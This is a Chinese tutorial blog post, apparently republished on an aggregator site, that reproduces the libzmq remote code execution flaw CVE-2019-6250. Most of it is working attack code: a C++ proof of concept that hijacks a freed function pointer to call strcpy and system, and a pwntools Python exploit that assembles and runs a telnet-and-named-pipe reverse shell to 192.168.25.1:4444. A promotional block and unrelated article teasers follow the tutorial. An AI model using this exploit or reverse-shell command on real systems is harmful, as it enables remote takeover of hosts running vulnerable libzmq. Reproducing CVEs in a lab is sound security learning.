CVE初探之漏洞反弹Shell(CVE-2019-6250)

news2024/11/23 18:59:19

概述

ZMQ(Zero Message
Queue)是一种基于消息队列得多线程网络库,C++编写,可以使得Socket编程更加简单高效。

该编号为CVE-2019-6250的远程执行漏洞,主要出现在ZMQ的核心引擎libzmq(4.2.x以及4.3.1之后的4.3.x)定义的ZMTP
v2.0协议中。

这一漏洞已经有很多师傅都已经分析并复现过了,但在环境搭建和最后的利用都所少有一些不完整,为了更好的学习,在学习师傅们的文章后,我进行了复现,并进行了些许补充,供师傅们学习,特别是刚开始复现CVE的师傅。

环境搭建

复现CVE最关键也是最繁琐的一步就是搭建漏洞环境,尽量保持与CVE报告的漏洞环境一致,如旧版本环境实在搞不到,就只能对新版本进行适当patch,把漏洞部分恢复以进行复现。

下面是针对该漏洞的环境搭建步骤

下载目标版本并安装

git clone https://github.com/zeromq/libzmq.git
cd libzmq
git reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3
sudo apt-get install libtool pkg-config build-essential autoconf
automake
./autogen.sh
./configure
make
sudo make install

下载cppzmq

git clone https://github.com/zeromq/cppzmq
cd cppzmq
cmake .
sudo make -j4 install

测试

cd demo
编辑main.cpp,添加printf("hello worldn");
mkdir build
cd build
cmake ..
make
./demo

demo可以正常执行即可

在我看到的几篇文章中,cppzmq好像都少了最后的make,导致编译并没有完全结束,影响后面的复现

漏洞复现

先看看已有的poc

#include <netinet/in.h>
#include <arpa/inet.h>
#include <zmq.hpp>
#include <string>
#include <iostream>
#include <unistd.h>
#include <thread>
#include <mutex>

class Thread {
public:
Thread() : the_thread(&Thread::ThreadMain, this)
{ }
~Thread(){
}
private:
std::thread the_thread;
void ThreadMain() {
zmq::context_t context (1);
zmq::socket_t socket (context, ZMQ_REP);
socket.bind ("tcp://*:6666");

while (true) {
zmq::message_t request;

// Wait for next request from client
try {
socket.recv (&request);
} catch ( ... ) { }
}
}
};

static void callRemoteFunction(const uint64_t arg1Addr, const uint64_t
arg2Addr, const uint64_t funcAddr)
{
int s;
struct sockaddr_in remote_addr = {};
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
abort();
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons(6666);
inet_pton(AF_INET, "127.0.0.1", &remote_addr.sin_addr);

if (connect(s, (struct sockaddr *)&remote_addr, sizeof(struct
sockaddr)) == -1)
{
abort();
}

const uint8_t greeting[] = {
0xFF, /* Indicates 'versioned' in
zmq::stream_engine_t::receive_greeting */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */
0x01, /* Indicates 'versioned' in
zmq::stream_engine_t::receive_greeting */
0x01, /* Selects ZMTP_2_0 in
zmq::stream_engine_t::select_handshake_fun */
0x00, /* Unused */
};
send(s, greeting, sizeof(greeting), 0);

const uint8_t v2msg[] = {
0x02, /* v2_decoder_t::eight_byte_size_ready */
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */
};
send(s, v2msg, sizeof(v2msg), 0);

/* Write UNTIL the location of zmq::msg_t::content_t */
size_t plsize = 8183;
uint8_t* pl = (uint8_t*)calloc(1, plsize);
send(s, pl, plsize, 0);
free(pl);

uint8_t content_t_replacement[] = {
/* void* data */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

/* size_t size */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

/* msg_free_fn *ffn */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

/* void* hint */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};

/* Assumes same endianness as target */
memcpy(content_t_replacement + 0, &arg1Addr, sizeof(arg1Addr));
memcpy(content_t_replacement + 16, &funcAddr, sizeof(funcAddr));
memcpy(content_t_replacement + 24, &arg2Addr, sizeof(arg2Addr));

/* Overwrite zmq::msg_t::content_t */
send(s, content_t_replacement, sizeof(content_t_replacement), 0);

close(s);
sleep(1);
}

char destbuffer[100];
char srcbuffer[100] = "ping google.com";

int main(void)
{
Thread* rt = new Thread();
sleep(1);

callRemoteFunction((uint64_t)destbuffer, (uint64_t)srcbuffer,
(uint64_t)strcpy);

callRemoteFunction((uint64_t)destbuffer, 0, (uint64_t)system);

return 0;
}

复制到demo重新编译

执行./demo

复现成功

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

POC分析

poc主要包括下面四部分

greeting
v2msg
plsize
content_t_replacement

v2msg用于设置msg_size=0xffffffffffffffff,其中的0x2标识程序进入eight_byte_size_ready状态,调用zmq::v2_decoder_t::size_ready进行解析,zmq::v2_decoder_t::size_ready方法在做比较判断的时候,使用的read_pos_ +
msg_size加法发生整型溢出,导致可绕过缓冲区大小校验进入else流程。else流程调用zmq::msg_t::init()方法,该方法不会重新分配缓冲区大小而直接处理数据。在后续流程中将造成缓冲区写越界。下面是源代码中存在漏洞的部分。

if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_
> (allocator.data () + allocator.size ())))) {
rc = _in_progress.init_size (static_cast<size_t> (msg_size_));
} else {
rc = _in_progress.init (const_cast<unsigned char *> (read_pos_),
static_cast<size_t> (msg_size_),
shared_message_memory_allocator::call_dec_ref,
allocator.buffer (), allocator.provide_content ());
if (_in_progress.is_zcmsg ()) {
allocator.advance_content ();
allocator.inc_ref ();
}
}

plsize作为padding,长度为0x1FF7,使得content_t_replacement可以覆盖_u.zclmsg.content指向的结构体。

ffn为函数指针,data和hint为两个参数的地址值,ffn将在tcp连接关闭的时候被zmq::msg_t::close()方法调用,看下图调试结果,成功执行了call
0xdeadbeaf

反弹Shell

由于还不清楚如何泄露地址,这里基于没有开PIE的程序编写exp。

通过分析POC,我们发现可以控制ffn,data和hint,即调用函数和两个参数,可以实现远程代码执行。

那么我的目标是反弹shell,也就是执行

system("mknod backpipe1 p && telnet
192.168.25.1 4444 0<backpipe1 | /bin/bash
1>backpipe1;")

,当然这只是其中一种方式。

那么,我的想法是,在二进制文件中找命令中的所有字符,通过执行strcpy进行拷贝,拼接成完整的命令,最后用调用system函数进行执行,实现反弹shell。

exp如下

#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@File : exp.py
@Time : 2023/06/24 08:59:34
@Author : 5ma11wh1t3
@Contact : 197489628@qq.com
'''

import ctypes
from pwn import *
import base64
context.log_level=True
context.arch='amd64'
elf_path = './build/demo'
elf = ELF(elf_path)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
inter = lambda : p.interactive()
def debug():
    gdb.attach(p, 'directory
    /home/guo/Desktop/cve/cve-2019-6250/libzmq/src')
    pause()
def lg(s,addr = None):
    if addr:
    	print('033[1;31;40m[+] %-15s --> 0x%8x033[0m'%(s,addr))
    else:
    	print('033[1;32;40m[-] %-20s 033[0m'%(s))

if __name__ == '__main__':
    re_shell = b"mknod backpipe1 p && telnet 192.168.25.1 4444 0<backpipe1
    | /bin/bash 1>backpipe1;"
    with open(elf_path,'rb') as f:
    binary = f.read()
    ads = []
    for char in re_shell:
    char_address = 0x400000 + binary.index(char)
    ads.append(char_address)
    for i in range(len(ads)):
    p = remote('127.0.0.1',6666)
    p1 = b'xff' + b'x00'*8 + b'x01' + b'x01' +b'x00'
    p1 += b'x02' + b'xff'*8
    p1 += b'a'*8183
    p1 += p64(0x4050F8+i) # void* data rdi
    p1 += p64(0) # size_t size
    p1 += p64(elf.plt['strcpy']) # msg_free_fn *ffn func
    p1 += p64(ads[i]) # void* hint rsi
    sn(p1)
    p.close()
    p = remote('127.0.0.1',6666)
    p1 = b'xff' + b'x00'*8 + b'x01' + b'x01' +b'x00'
    p1 += b'x02' + b'xff'*8
    p1 += b'a'*8183
    p1 += p64(0x4050F8) # void* data rdi
    p1 += p64(0) # size_t size
    p1 += p64(elf.plt['system']) # msg_free_fn *ffn func
    p1 += p64(ads[i]) # void* hint rsi
    # raw_input()
    sn(p1)
    p.close()

演示

攻击准备

本地起监听

server

攻击实施

获得shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1289295.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

调试文心大模型或chatgpt的function Calling函数应用场景

沉默了一段时间&#xff0c;最近都在研究AI大模型的产品落地应用&#xff0c;我觉得这个function calling出来后&#xff0c;对目前辅助办公有革命性的改变&#xff0c;可以它来做什么呢&#xff1f;我们先来调试看看&#xff0c;chatgpt和文心大模型的ERNIE Bot支持这个&#…

电力智慧运维系统

电力智慧运维系统是以提高用户侧电力运行安全&#xff0c;降低运维成本为目标&#xff1b;采用智能化运维管理工具—“电易云”&#xff0c;帮助企业建立电力运维体系全方位的信息化、数字化平台&#xff0c;实现设备运行的数字化在线监控与线下维护处理的有机融合&#xff0c;…

在线学习平台-项目搭建

ER图: 外面的圆圈是外键(外键建在多的一边) 平台搭建: 参考这篇博客:若依的基本使用 测试: 先随便写一个测试的控制层看看项目是否搭建成功 调用验证码接口拿到uuid和token 更改token有效时长 之和的请求都需要带上token,测试时可以把token设置长一些 继承插件 需要什么…

C语言能判断一个变量是int还是float吗?

C语言能判断一个变量是int还是float吗&#xff1f; 在开始前我有一些资料&#xff0c;是我根据自己从业十年经验&#xff0c;熬夜搞了几个通宵&#xff0c;精心整理了一份「C语言从专业入门到高级教程工具包」&#xff0c;点个关注&#xff0c;全部无偿共享给大家&#xff01;&…

HXDSP2441-HXD-PRO(CPU)在线仿真器

HXD-PRO&#xff08;CPU&#xff09;在线仿真器 CPU下载器具体使用方法参考《HXD-PRO在线仿真器使用手册》&#xff0c;需要注意的是&#xff0c;CPU下载器在PLL初始化后才可以正常连接。

体育场找座位 - 华为OD统一考试(C卷)

OD统一考试&#xff08;C卷&#xff09; 分值&#xff1a; 100分 题目描述 在一个大型体育场内举办了一场大型活动&#xff0c;由于疫情防控的需要&#xff0c;要求每位观众的必须间隔至少一个空位才允许落座。现在给出一排观众座位分布图&#xff0c;座位中存在已落座的观众&…

阅读笔记——《Hopper: Interpretative Fuzzing for Libraries》

【参考文献】Zhan Q, Fang R, Bindu R, et al. Removing RLHF Protections in GPT-4 via Fine-Tuning[J]. arXiv preprint arXiv:2311.05553, 2023.【注】本文仅为作者个人学习笔记&#xff0c;如有冒犯&#xff0c;请联系作者删除。 目录 摘要 一、介绍 二、背景 1、库的模…

代码随想录算法训练营第五十七天 | 647. 回文子串,516.最长回文子序列,动态规划总结篇

目录 647. 回文子串 516.最长回文子序列 动态规划总结篇 647. 回文子串 题目链接&#xff1a;647. 回文子串 &#xff08;1&#xff09;dp[ i ][ j ] 表示从 i 到 j 的字符串是否为回文子串&#xff1b; &#xff08;2&#xff09;若 s[ i ] s[ j ] 若 j - i < 1 dp…

QT-在ui界面中给QWidget增加Layout布局的两种方法

QT-在ui界面中给QWidget增加Layout布局的两种方法 方式一 在UI界面&#xff0c;用拖拽的方式加入Layout方式二 用notepad软件打开.ui文件&#xff0c;手动加入Layout代码 目标&#xff1a;去除右下角红标&#xff0c;给tab标签增加Layout属性。 方式一 在UI界面&#xff0c;用…

我一人全干!之二,vue3后台管理系统树形目录的实现。

一个完整的后台管理系统需要一个树形结构的目录&#xff0c;方便用户切换页面。 因为使用的是element-plus的ui库&#xff0c;所以首选el-menu组件&#xff0c;点击查看文档。 因为此组件不是树形结构的&#xff0c;所以需要封装成系统需要的树形结构组件。可以使用vue的递归组…

Docker架构、镜像操作和容器操作

一、docker基本管理和概念 1、概念 docker&#xff1a;开源的应用容器引擎。基于go语言开发的。运行在Linux系统中的开源的轻量级的“虚拟机” docker的容器技术可用在一台主机上轻松到达为任何应用创建一个轻量级到的&#xff0c;可移植的&#xff0c;自给自足的容器 dock…

微信小程序收款手续费怎么搞成0.2

今天&#xff0c;我将分享如何有效地降低日常中的收款手续费率。我们都知道&#xff0c;不管是微信支付还是支付宝&#xff0c;平台都会从中扣除一定的手续费。但你是否知道&#xff0c;其实手续费率是可以降低的呢&#xff1f;今天介绍如何申请最低手续费率为0.2%的方法&#…

【EI征稿中|SPIE出版】 第四届传感器与信息技术国际学术会议(ICSI 2024)

第四届传感器与信息技术国际学术会议&#xff08;ICSI 2024&#xff09; 2024 4th International Conference on Sensors and Information Technology&#xff08;ICSI 2024&#xff09; 第四届传感器与信息技术国际学术会议&#xff08;ICSI 2024&#xff09;将于2024年1月5…

IDEA Maven项目如何引用本地jar包,并打包发布

jar包位于当前路径下的lib目录中 引入所需要的配置 查看当前jar包的相关信息 包的引入,需要使用到当前包的artifactId, groupId, version 需要到包的/META-INF/maven/ 下面的 pom.xml 文件里面找 在Maven构建项目时&#xff0c;生成的依赖包中的/META-INF/maven目录存放了一些…

基于Echarts的大数据可视化模板:智慧交通管理

目录 引言智慧交通管理的重要性ECharts在智慧交通中的作用智慧交通管理系统架构系统总体架构数据收集与处理Echarts与大数据可视化Echarts库以及其在大数据可视化领域的应用优势开发过程和所选设计方案模板如何满足管理的特定需求模板功能与特性深入解析模板提供的各项功能模板…

MS8051运算放大器可Pin to Pin兼容AD8051/AD8052/AD8054

MS805x 系列为轨到轨输出的电压反馈运算放大器&#xff0c;具有易用、低成本等特点。可Pin to Pin兼容AD8051/AD8052/AD8054。相比于典型的电流反馈放大器&#xff0c;在带宽和转换率有更大的优势&#xff0c;并同时具备宽的输入共模电压范围和大的输出电压摆幅&#xff0c;这使…

速达软件全系产品任意文件上传漏洞

声明 本文仅用于技术交流&#xff0c;请勿用于非法用途 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失&#xff0c;均由使用者本人负责&#xff0c;文章作者不为此承担任何责任。 1. 速达软件产品简介 速达软件专注中小企业管理软件,产品涵盖进销存软…

查询服务器CPU、内存、磁盘、网络IO、队列、数据库占用空间等等信息

文章目录 摘要1. 查询CPU使用率命令&#xff1a;top -bn1 | grep \"Cpu(s)\" | awk {split($0,arr,\" \");print 100-arr[8]}2. 查询内存命令&#xff08;单位&#xff1a;G&#xff09;&#xff1a;top -bn1 | grep \"KiB Mem\" | awk {split($…

揭秘高效编程“武功秘笈”,手把手带你写一波!

随着今年人工智能技术的大火&#xff0c;越来越多的领域正在接受和利用这项强大的 AI 科技&#xff0c;以实现更高效、更智能的工作方式。在软件开发领域&#xff0c;AI 技术更是为我们的工作带来了前所未有的变革。从自动代码生成到智能编程助手&#xff0c;AI 正在逐步改变开…

解决IDEA中多个项目不在同一窗口下显示的问题和添加新的git的URL

以上是添加显示多个项目 以下是给新添加的项目添加git